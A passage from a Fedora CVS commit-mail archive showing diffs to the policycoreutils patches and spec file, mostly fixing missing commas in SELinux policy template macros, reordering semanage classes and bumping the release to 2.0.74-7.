-+++ policycoreutils-2.0.74/gui/templates/script.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/script.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,99 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -12958,7 +12963,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/semodule.py policycoreutils-2.0.74/gui/templates/semodule.py
 --- nsapolicycoreutils/gui/templates/semodule.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/semodule.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/semodule.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,41 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13003,7 +13008,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/tmp.py policycoreutils-2.0.74/gui/templates/tmp.py
 --- nsapolicycoreutils/gui/templates/tmp.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/tmp.py	2009-09-30 11:32:04.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/tmp.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,97 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13034,9 +13039,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 +
 +te_rules="""
-+manage_dirs_pattern(TEMPLATETYPE_t, TEMPLATETYPE_tmp_t TEMPLATETYPE_tmp_t)
-+manage_files_pattern(TEMPLATETYPE_t, TEMPLATETYPE_tmp_t TEMPLATETYPE_tmp_t)
-+files_tmp_filetrans(TEMPLATETYPE_t,TEMPLATETYPE_tmp_t, { file dir })
++manage_dirs_pattern(TEMPLATETYPE_t, TEMPLATETYPE_tmp_t, TEMPLATETYPE_tmp_t)
++manage_files_pattern(TEMPLATETYPE_t, TEMPLATETYPE_tmp_t, TEMPLATETYPE_tmp_t)
++files_tmp_filetrans(TEMPLATETYPE_t, TEMPLATETYPE_tmp_t, { file dir })
 +"""
 +
 +if_rules="""
@@ -13092,9 +13097,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +		type TEMPLATETYPE_tmp_t;
 +	')
 +
-+         manage_dirs_pattern($1,TEMPLATETYPE_tmp_t,TEMPLATETYPE_tmp_t)
-+         manage_files_pattern($1,TEMPLATETYPE_tmp_t,TEMPLATETYPE_tmp_t)
-+         manage_lnk_files_pattern($1,TEMPLATETYPE_tmp_t,TEMPLATETYPE_tmp_t)
++         manage_dirs_pattern($1, TEMPLATETYPE_tmp_t, TEMPLATETYPE_tmp_t)
++         manage_files_pattern($1, TEMPLATETYPE_tmp_t, TEMPLATETYPE_tmp_t)
++         manage_lnk_files_pattern($1, TEMPLATETYPE_tmp_t, TEMPLATETYPE_tmp_t)
 +')
 +"""
 +
@@ -13104,7 +13109,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/user.py policycoreutils-2.0.74/gui/templates/user.py
 --- nsapolicycoreutils/gui/templates/user.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/user.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/user.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,182 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13233,7 +13238,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 +te_transition_rules="""
 +optional_policy(`
-+	APPLICATION_role(TEMPLATETYPE_r,TEMPLATETYPE_t)
++	APPLICATION_role(TEMPLATETYPE_r, TEMPLATETYPE_t)
 +')
 +"""
 +
@@ -13277,7 +13282,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 +te_admin_domain_rules="""
 +optional_policy(`
-+	APPLICATION_admin(TEMPLATETYPE_t,TEMPLATETYPE_r,{ TEMPLATETYPE_devpts_t TEMPLATETYPE_tty_device_t })
++	APPLICATION_admin(TEMPLATETYPE_t, TEMPLATETYPE_r,{ TEMPLATETYPE_devpts_t TEMPLATETYPE_tty_device_t })
 +')
 +"""
 +
@@ -13286,11 +13291,11 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 +
 +te_newrole_rules="""
-+seutil_run_newrole(TEMPLATETYPE_t,TEMPLATETYPE_r,{ TEMPLATETYPE_devpts_t TEMPLATETYPE_tty_device_t })
++seutil_run_newrole(TEMPLATETYPE_t, TEMPLATETYPE_r,{ TEMPLATETYPE_devpts_t TEMPLATETYPE_tty_device_t })
 +"""
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/var_lib.py policycoreutils-2.0.74/gui/templates/var_lib.py
 --- nsapolicycoreutils/gui/templates/var_lib.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/var_lib.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/var_lib.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,158 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13328,7 +13333,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 +te_stream_rules="""\
 +allow TEMPLATETYPE_t TEMPLATETYPE_var_lib_t:sock_file manage_sock_file_perms;
-+files_var_lib_filetrans(TEMPLATETYPE_t,TEMPLATETYPE_var_lib_t, sock_file)
++files_var_lib_filetrans(TEMPLATETYPE_t, TEMPLATETYPE_var_lib_t, sock_file)
 +"""
 +
 +
@@ -13407,9 +13412,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +		type TEMPLATETYPE_var_lib_t;
 +	')
 +
-+         manage_dirs_pattern($1,TEMPLATETYPE_var_lib_t,TEMPLATETYPE_var_lib_t)
-+         manage_files_pattern($1,TEMPLATETYPE_var_lib_t,TEMPLATETYPE_var_lib_t)
-+         manage_lnk_files_pattern($1,TEMPLATETYPE_var_lib_t,TEMPLATETYPE_var_lib_t)
++         manage_dirs_pattern($1, TEMPLATETYPE_var_lib_t, TEMPLATETYPE_var_lib_t)
++         manage_files_pattern($1, TEMPLATETYPE_var_lib_t, TEMPLATETYPE_var_lib_t)
++         manage_lnk_files_pattern($1, TEMPLATETYPE_var_lib_t, TEMPLATETYPE_var_lib_t)
 +')
 +
 +"""
@@ -13452,7 +13457,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/var_log.py policycoreutils-2.0.74/gui/templates/var_log.py
 --- nsapolicycoreutils/gui/templates/var_log.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/var_log.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/var_log.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,110 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13546,9 +13551,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +		type TEMPLATETYPE_log_t;
 +	')
 +
-+         manage_dirs_pattern($1,TEMPLATETYPE_log_t,TEMPLATETYPE_log_t)
-+         manage_files_pattern($1,TEMPLATETYPE_log_t,TEMPLATETYPE_log_t)
-+         manage_lnk_files_pattern($1,TEMPLATETYPE_log_t,TEMPLATETYPE_log_t)
++         manage_dirs_pattern($1, TEMPLATETYPE_log_t, TEMPLATETYPE_log_t)
++         manage_files_pattern($1, TEMPLATETYPE_log_t, TEMPLATETYPE_log_t)
++         manage_lnk_files_pattern($1, TEMPLATETYPE_log_t, TEMPLATETYPE_log_t)
 +')
 +"""
 +
@@ -13566,7 +13571,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/var_run.py policycoreutils-2.0.74/gui/templates/var_run.py
 --- nsapolicycoreutils/gui/templates/var_run.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/var_run.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/var_run.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,118 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13599,12 +13604,12 @@ diff --exclude-from=exclude -N -u -r nsa
 +te_rules="""
 +manage_dirs_pattern(TEMPLATETYPE_t, TEMPLATETYPE_var_run_t,  TEMPLATETYPE_var_run_t)
 +manage_files_pattern(TEMPLATETYPE_t, TEMPLATETYPE_var_run_t,  TEMPLATETYPE_var_run_t)
-+files_pid_filetrans(TEMPLATETYPE_t,TEMPLATETYPE_var_run_t, { file dir })
++files_pid_filetrans(TEMPLATETYPE_t, TEMPLATETYPE_var_run_t, { file dir })
 +"""
 +
 +te_stream_rules="""
 +allow TEMPLATETYPE_t TEMPLATETYPE_var_run_t:sock_file manage_sock_file_perms;
-+files_pid_filetrans(TEMPLATETYPE_t,TEMPLATETYPE_var_run_t, sock_file)
++files_pid_filetrans(TEMPLATETYPE_t, TEMPLATETYPE_var_run_t, sock_file)
 +"""
 +
 +if_rules="""
@@ -13642,9 +13647,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +		type TEMPLATETYPE_var_run_t;
 +	')
 +
-+         manage_dirs_pattern($1,TEMPLATETYPE_var_run_t,TEMPLATETYPE_var_run_t)
-+         manage_files_pattern($1,TEMPLATETYPE_var_run_t,TEMPLATETYPE_var_run_t)
-+         manage_lnk_files_pattern($1,TEMPLATETYPE_var_run_t,TEMPLATETYPE_var_run_t)
++         manage_dirs_pattern($1, TEMPLATETYPE_var_run_t, TEMPLATETYPE_var_run_t)
++         manage_files_pattern($1, TEMPLATETYPE_var_run_t, TEMPLATETYPE_var_run_t)
++         manage_lnk_files_pattern($1, TEMPLATETYPE_var_run_t, TEMPLATETYPE_var_run_t)
 +')
 +
 +"""
@@ -13688,7 +13693,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/var_spool.py policycoreutils-2.0.74/gui/templates/var_spool.py
 --- nsapolicycoreutils/gui/templates/var_spool.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/var_spool.py	2009-09-30 11:31:43.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/var_spool.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,129 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13719,10 +13724,10 @@ diff --exclude-from=exclude -N -u -r nsa
 +files_type(TEMPLATETYPE_spool_t)
 +"""
 +te_rules="""
-+manage_dirs_pattern(TEMPLATETYPE_t, TEMPLATETYPE_spool_t TEMPLATETYPE_spool_t)
-+manage_files_pattern(TEMPLATETYPE_t, TEMPLATETYPE_spool_t TEMPLATETYPE_spool_t)
-+manage_lnk_files_pattern(TEMPLATETYPE_t, TEMPLATETYPE_spool_t TEMPLATETYPE_spool_t)
-+files_spool_filetrans(TEMPLATETYPE_t,TEMPLATETYPE_spool_t, { file dir sock_file })
++manage_dirs_pattern(TEMPLATETYPE_t, TEMPLATETYPE_spool_t, TEMPLATETYPE_spool_t)
++manage_files_pattern(TEMPLATETYPE_t, TEMPLATETYPE_spool_t, TEMPLATETYPE_spool_t)
++manage_lnk_files_pattern(TEMPLATETYPE_t, TEMPLATETYPE_spool_t, TEMPLATETYPE_spool_t)
++files_spool_filetrans(TEMPLATETYPE_t, TEMPLATETYPE_spool_t, { file dir sock_file })
 +"""
 +
 +########################### Interface File #############################
@@ -13782,7 +13787,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +	')
 +
 +	files_search_spool($1)
-+        manage_files_pattern($1,TEMPLATETYPE_spool_t,TEMPLATETYPE_spool_t)
++        manage_files_pattern($1, TEMPLATETYPE_spool_t, TEMPLATETYPE_spool_t)
 +')
 +
 +########################################
@@ -13800,9 +13805,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +		type TEMPLATETYPE_spool_t;
 +	')
 +
-+         manage_dirs_pattern($1,TEMPLATETYPE_spool_t,TEMPLATETYPE_spool_t)
-+         manage_files_pattern($1,TEMPLATETYPE_spool_t,TEMPLATETYPE_spool_t)
-+         manage_lnk_files_pattern($1,TEMPLATETYPE_spool_t,TEMPLATETYPE_spool_t)
++         manage_dirs_pattern($1, TEMPLATETYPE_spool_t, TEMPLATETYPE_spool_t)
++         manage_files_pattern($1, TEMPLATETYPE_spool_t, TEMPLATETYPE_spool_t)
++         manage_lnk_files_pattern($1, TEMPLATETYPE_spool_t, TEMPLATETYPE_spool_t)
 +')
 +
 +"""

policycoreutils-rhat.patch:
 Makefile                                    |    2 
 audit2allow/audit2allow                     |   14 
 load_policy/Makefile                        |    5 
 restorecond/Makefile                        |   24 -
 restorecond/org.selinux.Restorecond.service |    3 
 restorecond/restorecond.c                   |  422 +++---------------
 restorecond/restorecond.conf                |    5 
 restorecond/restorecond.desktop             |    7 
 restorecond/restorecond.h                   |   18 
 restorecond/restorecond.init                |    5 
 restorecond/restorecond_user.conf           |    2 
 restorecond/user.c                          |  237 ++++++++++
 restorecond/watch.c                         |  254 +++++++++++
 sandbox/Makefile                            |   31 +
 sandbox/sandbox                             |  222 +++++++++
 sandbox/sandbox.8                           |   26 +
 sandbox/sandboxX.sh                         |   16 
 sandbox/seunshare.c                         |  265 +++++++++++
 scripts/Makefile                            |    2 
 scripts/chcat                               |    2 
 semanage/semanage                           |   99 ++--
 semanage/seobject.py                        |  209 +++++----
 semodule/semodule.8                         |    6 
 semodule/semodule.c                         |   53 ++
 setfiles/Makefile                           |    2 
 setfiles/restore.c                          |  519 ++++++++++++++++++++++
 setfiles/restore.h                          |   49 ++
 setfiles/setfiles.c                         |  643 +++-------------------------
 28 files changed, 2078 insertions(+), 1064 deletions(-)

Index: policycoreutils-rhat.patch
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/devel/policycoreutils-rhat.patch,v
retrieving revision 1.447
retrieving revision 1.448
diff -u -p -r1.447 -r1.448
--- policycoreutils-rhat.patch	30 Sep 2009 15:37:19 -0000	1.447
+++ policycoreutils-rhat.patch	1 Oct 2009 16:04:13 -0000	1.448
@@ -1801,7 +1801,7 @@ diff --exclude-from=exclude --exclude=se
  	-mkdir -p $(BINDIR)
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/semanage/semanage policycoreutils-2.0.74/semanage/semanage
 --- nsapolicycoreutils/semanage/semanage	2009-09-08 09:03:10.000000000 -0400
-+++ policycoreutils-2.0.74/semanage/semanage	2009-09-30 11:07:29.000000000 -0400
++++ policycoreutils-2.0.74/semanage/semanage	2009-10-01 11:43:48.000000000 -0400
 @@ -39,19 +39,26 @@
         __builtin__.__dict__['_'] = unicode
  
@@ -1856,7 +1856,8 @@ diff --exclude-from=exclude --exclude=se
 +		valid_option["module"] = []
 +		valid_option["module"] += valid_everyone + [ '--enable', '--disable']
  		valid_option["fcontext"] = []
- 		valid_option["fcontext"] += valid_everyone + [ '-f', '--ftype', '-s', '--seuser',  '-t', '--type', '-r', '--range'] 
+-		valid_option["fcontext"] += valid_everyone + [ '-f', '--ftype', '-s', '--seuser',  '-t', '--type', '-r', '--range'] 
++		valid_option["fcontext"] += valid_everyone + [ '-e', '--equal', '-f', '--ftype', '-s', '--seuser',  '-t', '--type', '-r', '--range'] 
  		valid_option["dontaudit"] = [ '-S', '--store' ]
 -		valid_option["translation"] = []
 -		valid_option["translation"] += valid_everyone + [ '-T', '--trans' ] 
@@ -2062,7 +2063,7 @@ diff --exclude-from=exclude --exclude=se
  	# 
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/semanage/seobject.py policycoreutils-2.0.74/semanage/seobject.py
 --- nsapolicycoreutils/semanage/seobject.py	2009-09-08 09:03:10.000000000 -0400
-+++ policycoreutils-2.0.74/semanage/seobject.py	2009-09-30 11:07:37.000000000 -0400
++++ policycoreutils-2.0.74/semanage/seobject.py	2009-10-01 11:34:19.000000000 -0400
 @@ -195,88 +195,6 @@
  	else:
  		return raw
@@ -2152,36 +2153,10 @@ diff --exclude-from=exclude --exclude=se
  class semanageRecords:
  	def __init__(self, store):
                 global handle
-@@ -315,17 +233,6 @@
+@@ -315,6 +233,77 @@
                 self.transaction = False
                 self.commit()
  
--class dontauditClass(semanageRecords):
--	def __init__(self, store):
--               semanageRecords.__init__(self, store)
--
--	def toggle(self, dontaudit):
--               if dontaudit not in [ "on", "off" ]:
--                      raise ValueError(_("dontaudit requires either 'on' or 'off'"))
--               self.begin()
--               rc = semanage_set_disable_dontaudit(self.sh, dontaudit == "off")
--               self.commit()
--               
- class permissiveRecords(semanageRecords):
- 	def __init__(self, store):
-                semanageRecords.__init__(self, store)
-@@ -341,6 +248,7 @@
-                       name = semanage_module_get_name(mod)
-                       if name and name.startswith("permissive_"):
-                              l.append(name.split("permissive_")[1])
-+
-                return l
- 
- 	def list(self, heading = 1, locallist = 0):
-@@ -403,6 +311,88 @@
-                       all = " ".join(l)
-                       self.delete(all)
- 
 +class moduleRecords(semanageRecords):
 +	def __init__(self, store):
 +               semanageRecords.__init__(self, store)
@@ -2253,20 +2228,26 @@ diff --exclude-from=exclude --exclude=se
 +                      all = " ".join(l[0])
 +                      self.delete(all)
 +
-+class dontauditClass(semanageRecords):
-+	def __init__(self, store):
-+               semanageRecords.__init__(self, store)
+ class dontauditClass(semanageRecords):
+ 	def __init__(self, store):
+                semanageRecords.__init__(self, store)
+@@ -341,6 +330,7 @@
+                       name = semanage_module_get_name(mod)
+                       if name and name.startswith("permissive_"):
+                              l.append(name.split("permissive_")[1])
 +
-+	def toggle(self, dontaudit):
-+               if dontaudit not in [ "on", "off" ]:
-+                      raise ValueError(_("dontaudit requires either 'on' or 'off'"))
-+               self.begin()
-+               rc = semanage_set_disable_dontaudit(self.sh, dontaudit == "off")
-+               self.commit()
-+               
- class loginRecords(semanageRecords):
- 	def __init__(self, store = ""):
- 		semanageRecords.__init__(self, store)
+                return l
+ 
+ 	def list(self, heading = 1, locallist = 0):
+@@ -1120,7 +1110,7 @@
+ 
+        def add(self, addr, mask, proto, serange, ctype):
+                 self.begin()
+-                self.__add(self, addr, mask, proto, serange, ctype)
++                self.__add(addr, mask, proto, serange, ctype)
+                 self.commit()
+ 
+        def __modify(self, addr, mask, proto, serange, setype):
 @@ -1420,6 +1410,48 @@
  class fcontextRecords(semanageRecords):
  	def __init__(self, store = ""):


Index: policycoreutils.spec
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/devel/policycoreutils.spec,v
retrieving revision 1.648
retrieving revision 1.649
diff -u -p -r1.648 -r1.649
--- policycoreutils.spec	30 Sep 2009 17:28:58 -0000	1.648
+++ policycoreutils.spec	1 Oct 2009 16:04:13 -0000	1.649
@@ -6,7 +6,7 @@
 Summary: SELinux policy core utilities
 Name:	 policycoreutils
 Version: 2.0.74
-Release: 5%{?dist}
+Release: 7%{?dist}
 License: GPLv2+
 Group:	 System Environment/Base
 Source:	 http://www.nsa.gov/selinux/archives/policycoreutils-%{version}.tgz
@@ -296,6 +296,12 @@ fi
 exit 0
 
 %changelog
+* Thu Oct 1 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-7
+- Fixes Templates
+
+* Thu Oct 1 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-6
+- Fixes for polgengui to handle tcp ports correctly
+
 * Wed Sep 30 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-5
 - Fixes for semanage -equiv, readded modules, --enable, --disable
 



From dwalsh at fedoraproject.org  Thu Oct  1 16:05:58 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Thu,  1 Oct 2009 16:05:58 +0000 (UTC)
Subject: rpms/policycoreutils/F-12 policycoreutils-gui.patch, 1.92,
	1.93 policycoreutils.spec, 1.647, 1.648
Message-ID: <20091001160558.3DB5311C00C1@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/policycoreutils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7083

Modified Files:
	policycoreutils-gui.patch policycoreutils.spec 
Log Message:
* Thu Oct 1 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-7
- Fixes Templates


policycoreutils-gui.patch:
 Makefile                    |   41 
 booleansPage.py             |  247 +++
 domainsPage.py              |  154 +
 fcontextPage.py             |  223 ++
 html_util.py                |  164 ++
 lockdown.glade              |  771 +++++++++
 lockdown.gladep             |    7 
 lockdown.py                 |  382 ++++
 loginsPage.py               |  185 ++
 mappingsPage.py             |   56 
 modulesPage.py              |  190 ++
 polgen.glade                | 3305 ++++++++++++++++++++++++++++++++++++++++++
 polgen.gladep               |    7 
 polgen.py                   | 1188 +++++++++++++++
 polgengui.py                |  627 ++++++++
 portsPage.py                |  259 +++
 selinux.tbl                 |  234 +++
 semanagePage.py             |  168 ++
 statusPage.py               |  190 ++
 system-config-selinux.glade | 3403 ++++++++++++++++++++++++++++++++++++++++++++
 system-config-selinux.py    |  189 ++
 templates/__init__.py       |   18 
 templates/boolean.py        |   40 
 templates/etc_rw.py         |  129 +
 templates/executable.py     |  368 ++++
 templates/network.py        |   80 +
 templates/rw.py             |  127 +
 templates/script.py         |   99 +
 templates/semodule.py       |   41 
 templates/tmp.py            |   97 +
 templates/user.py           |  182 ++
 templates/var_lib.py        |  158 ++
 templates/var_log.py        |  110 +
 templates/var_run.py        |  118 +
 templates/var_spool.py      |  129 +
 translationsPage.py         |  118 +
 usersPage.py                |  150 +
 37 files changed, 13954 insertions(+)

Index: policycoreutils-gui.patch
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/F-12/policycoreutils-gui.patch,v
retrieving revision 1.92
retrieving revision 1.93
diff -u -p -r1.92 -r1.93
--- policycoreutils-gui.patch	1 Oct 2009 15:39:04 -0000	1.92
+++ policycoreutils-gui.patch	1 Oct 2009 16:05:57 -0000	1.93
@@ -12074,7 +12074,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +    app.stand_alone()
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/boolean.py policycoreutils-2.0.74/gui/templates/boolean.py
 --- nsapolicycoreutils/gui/templates/boolean.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/boolean.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/boolean.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,40 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -12118,7 +12118,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/etc_rw.py policycoreutils-2.0.74/gui/templates/etc_rw.py
 --- nsapolicycoreutils/gui/templates/etc_rw.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/etc_rw.py	2009-09-30 11:32:23.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/etc_rw.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,129 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -12149,9 +12149,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +files_type(TEMPLATETYPE_etc_rw_t)
 +"""
 +te_rules="""
-+manage_dirs_pattern(TEMPLATETYPE_t, TEMPLATETYPE_etc_rw_t TEMPLATETYPE_etc_rw_t)
-+manage_files_pattern(TEMPLATETYPE_t, TEMPLATETYPE_etc_rw_t TEMPLATETYPE_etc_rw_t)
-+files_etc_filetrans(TEMPLATETYPE_t,TEMPLATETYPE_etc_rw_t, { file dir })
++manage_dirs_pattern(TEMPLATETYPE_t, TEMPLATETYPE_etc_rw_t, TEMPLATETYPE_etc_rw_t)
++manage_files_pattern(TEMPLATETYPE_t, TEMPLATETYPE_etc_rw_t, TEMPLATETYPE_etc_rw_t)
++files_etc_filetrans(TEMPLATETYPE_t, TEMPLATETYPE_etc_rw_t, { file dir })
 +"""
 +
 +########################### Interface File #############################
@@ -12211,7 +12211,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +		type TEMPLATETYPE_etc_rw_t;
 +	')
 +
-+        manage_files_pattern($1,TEMPLATETYPE_etc_rw_t,TEMPLATETYPE_etc_rw_t)
++        manage_files_pattern($1, TEMPLATETYPE_etc_rw_t, TEMPLATETYPE_etc_rw_t)
 +	files_search_etc($1)
 +')
 +
@@ -12230,9 +12230,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +		type TEMPLATETYPE_etc_rw_t;
 +	')
 +
-+         manage_dirs_pattern($1,TEMPLATETYPE_etc_rw_t,TEMPLATETYPE_etc_rw_t)
-+         manage_files_pattern($1,TEMPLATETYPE_etc_rw_t,TEMPLATETYPE_etc_rw_t)
-+         manage_lnk_files_pattern($1,TEMPLATETYPE_etc_rw_t,TEMPLATETYPE_etc_rw_t)
++         manage_dirs_pattern($1, TEMPLATETYPE_etc_rw_t, TEMPLATETYPE_etc_rw_t)
++         manage_files_pattern($1, TEMPLATETYPE_etc_rw_t, TEMPLATETYPE_etc_rw_t)
++         manage_lnk_files_pattern($1, TEMPLATETYPE_etc_rw_t, TEMPLATETYPE_etc_rw_t)
 +')
 +
 +"""
@@ -12251,7 +12251,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/executable.py policycoreutils-2.0.74/gui/templates/executable.py
 --- nsapolicycoreutils/gui/templates/executable.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/executable.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/executable.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,368 @@
 +# Copyright (C) 2007-2009 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -12464,7 +12464,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +		type TEMPLATETYPE_t, TEMPLATETYPE_exec_t;
 +	')
 +
-+	domtrans_pattern($1,TEMPLATETYPE_exec_t,TEMPLATETYPE_t)
++	domtrans_pattern($1, TEMPLATETYPE_exec_t, TEMPLATETYPE_t)
 +')
 +
 +"""
@@ -12540,7 +12540,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +		type TEMPLATETYPE_initrc_exec_t;
 +	')
 +
-+	init_labeled_script_domtrans($1,TEMPLATETYPE_initrc_exec_t)
++	init_labeled_script_domtrans($1, TEMPLATETYPE_initrc_exec_t)
 +')
 +"""
 +
@@ -12623,7 +12623,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/__init__.py policycoreutils-2.0.74/gui/templates/__init__.py
 --- nsapolicycoreutils/gui/templates/__init__.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/__init__.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/__init__.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,18 @@
 +#
 +# Copyright (C) 2007 Red Hat, Inc.
@@ -12645,7 +12645,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/network.py policycoreutils-2.0.74/gui/templates/network.py
 --- nsapolicycoreutils/gui/templates/network.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/network.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/network.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,80 @@
 +te_port_types="""
 +type TEMPLATETYPE_port_t;
@@ -12729,7 +12729,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/rw.py policycoreutils-2.0.74/gui/templates/rw.py
 --- nsapolicycoreutils/gui/templates/rw.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/rw.py	2009-09-30 11:32:29.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/rw.py	2009-10-01 12:03:05.000000000 -0400
 @@ -0,0 +1,127 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -12760,8 +12760,8 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 +
 +te_rules="""
-+manage_dirs_pattern(TEMPLATETYPE_t, TEMPLATETYPE_rw_t TEMPLATETYPE_rw_t)
-+manage_files_pattern(TEMPLATETYPE_t, TEMPLATETYPE_rw_t TEMPLATETYPE_rw_t)
++manage_dirs_pattern(TEMPLATETYPE_t, TEMPLATETYPE_rw_t, TEMPLATETYPE_rw_t)
++manage_files_pattern(TEMPLATETYPE_t, TEMPLATETYPE_rw_t, TEMPLATETYPE_rw_t)
 +"""
 +
 +########################### Interface File #############################
@@ -12821,7 +12821,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +		type TEMPLATETYPE_rw_t;
 +	')
 +
